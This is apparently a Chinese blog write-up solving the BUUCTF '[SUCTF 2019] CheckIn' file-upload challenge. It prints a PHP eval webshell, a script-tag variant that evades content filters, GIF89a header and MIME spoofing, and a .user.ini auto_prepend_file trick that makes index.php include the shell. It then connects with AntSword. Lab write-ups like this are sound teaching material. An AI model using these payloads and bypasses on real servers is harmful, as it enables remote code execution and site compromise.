BUUCTF在线评测-练习场-WebCTF习题[SUCTF 2019]CheckIn1-flag获取、解析

发布于:2025-07-09 ⋅ 阅读:(16) ⋅ 点赞:(0)

解题思路

打开靶场,熟悉的文件上传场景

先上一句话木马源码: 

<?php
eval($_POST['shell']);
?>

上传php文件显示

上传png后缀php内容文件

过滤了后缀、还有内容检测,那么用脚本语言隐藏:

<script language="php">eval($_POST['shell']);</script>

 

然后又检测了文件类型、文件内容是否为图片,那么再添加上图片魔术头GIF89a、还有文件类型

Content-Disposition: form-data; name="fileUpload"; filename="1.png"
Content-Type: image/png

GIF89a
<script language="php">eval($_POST['shell']);</script>

成功上传

Your dir uploads/e0cd7c28b74327b3bd1472378bdfbfa2 <br>Your files : <br>array(4) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(5) "1.png"
  [3]=>
  string(9) "index.php"
}

但是这里只能只上传了Png的马,需要解析漏洞配合。

这里响应包可以发现是Server: openresty ,OpenResty(又称:ngx_openresty) 是一个基 NGINX 的可伸缩的 Web 平台,那么.htaccess,无法使用了,因为.htaccess面向的是apache。

结合文件夹下面还有index.php提示,这里使用更加全面的.user.ini文件,刚需文件夹下有配合的php文件。

- 利用`auto_prepend_file`:攻击者设置`auto_prepend_file`指向自己上传的文件,那么当任何PHP文件执行时,都会先包含这个上传的文件,从而执行其中的恶意代码。

- 利用`auto_append_file`:同理,设置`auto_append_file`指向上传的文件,那么在每个PHP文件执行后都会包含该文件。

为什么要用`auto_prepend_file`?

- 在某些情况下,`auto_prepend_file`可能比`auto_append_file`更有优势:

1. 如果目标脚本在中间调用了`exit()`或`die()`,那么`auto_append_file`将不会被执行,而`auto_prepend_file`因为是在脚本开始前执行,所以不受影响。

2. 如果恶意代码需要在目标脚本之前运行(比如设置环境、修改全局变量等),那么使用`auto_prepend_file`是必要的。

Content-Disposition: form-data; name="fileUpload"; filename=".user.ini"
Content-Type: image/png

GIF89a
auto_prepend_file=1.png

上传成功: 

Your dir uploads/e0cd7c28b74327b3bd1472378bdfbfa2 <br>Your files : <br>array(5) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(9) ".user.ini"
  [3]=>
  string(5) "1.png"
  [4]=>
  string(9) "index.php"
}

 然后我们访问文件夹下的Index.php,可以发现,我们的恶意代码已经被包含,魔术头出来了:

 直接用蚁剑连接Index.php

然后根目录下找到

 

 这里还做了定期清理文件的方法,在根目录下可以看到,所以一段时间不传记得重新传文件...

总结

一道基础的结合文件包含的文件上传漏洞,.user.ini其实本质上是文件包含,最后连接的也是本身就存在的index.php,只不过我们的代码被包含进去了


网站公告

今日签到

点亮在社区的每一天
去签到